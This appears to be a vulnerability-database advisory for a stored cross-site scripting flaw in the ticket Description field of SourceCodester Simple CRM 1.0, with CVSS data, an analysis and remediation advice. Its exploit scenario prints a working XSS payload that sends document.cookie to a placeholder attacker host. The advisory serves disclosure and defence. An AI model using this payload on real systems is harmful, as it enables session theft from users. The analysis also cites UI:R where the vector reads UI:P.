EUVD-2026-18139
GHSA-vvrm-pcwj-56vf
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
6DescriptionCVE.org
A vulnerability was determined in SourceCodester Simple Customer Relationship Management System 1.0. This issue affects some unknown processing of the file /create-ticket.php of the component Create Ticket. This manipulation of the argument Description causes cross site scripting. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized.
AnalysisAI
Stored cross-site scripting (XSS) in SourceCodester Simple Customer Relationship Management System 1.0 allows authenticated remote attackers to inject malicious scripts via the Description parameter in the /create-ticket.php Create Ticket component. The vulnerability requires user interaction (UI:R) to trigger payload execution and has limited impact (integrity only, no confidentiality or availability loss), but publicly available exploit code exists and the issue has been publicly disclosed.
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Vulnerability AssessmentAI
| Risk Assessment | This vulnerability presents low to moderate real-world risk despite a CVSS score of 3.5 (Low). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | A malicious authenticated user creates a support ticket with a Description field containing embedded JavaScript, such as '<img src=x onerror="fetch('http://attacker.com/steal?cookie='+document.cookie)">'. The payload is stored in the application database. … |
| Remediation | Immediately upgrade to a patched version of SourceCodester Simple Customer Relationship Management System if available from https://www.sourcecodester.com/. … Detailed patch versions, workarounds, and compensating controls in full report. |
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External POC / Exploit Code
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